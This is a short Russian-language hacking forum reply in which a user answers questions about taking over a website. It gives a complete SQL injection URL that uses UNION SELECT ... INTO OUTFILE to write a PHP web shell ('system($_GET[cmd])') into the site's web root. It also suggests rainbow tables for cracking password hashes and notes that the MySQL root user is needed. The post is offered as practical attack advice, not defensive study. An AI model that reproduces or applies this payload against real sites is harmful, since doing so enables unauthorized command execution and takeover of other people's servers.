Цитата | Quote(Rain of Dark @ 14.03.2008 - 12:06)
а шелл то как можно залить если только читать файлы можно и select использовать?! О.о
Не игнорь мои советы прочитать статью.
Code
http://www.site.ru/index.php?page=-1+union+select+1,2,,'<?php system($_GET[cmd]); ?>',4,5+from+user+into+outfile+'/home/site/html/shell.php'/*
Цитата | Quote(Rain of Dark @ 14.03.2008 - 12:06)
А на счет хэша, ну если допустим даже пароль из восьми символов, да еще и с использованием хотябы одного спецсимвола, то это ж на стену полезишь, пока его сбрутишь!
Есть такие замечательные таблицы - Rainbow tables. Сильно сокращают время подбора хэша.
Цитата | Quote(Rain of Dark @ 14.03.2008 - 12:06)
это еще что за пользователь такой?
root в mysql.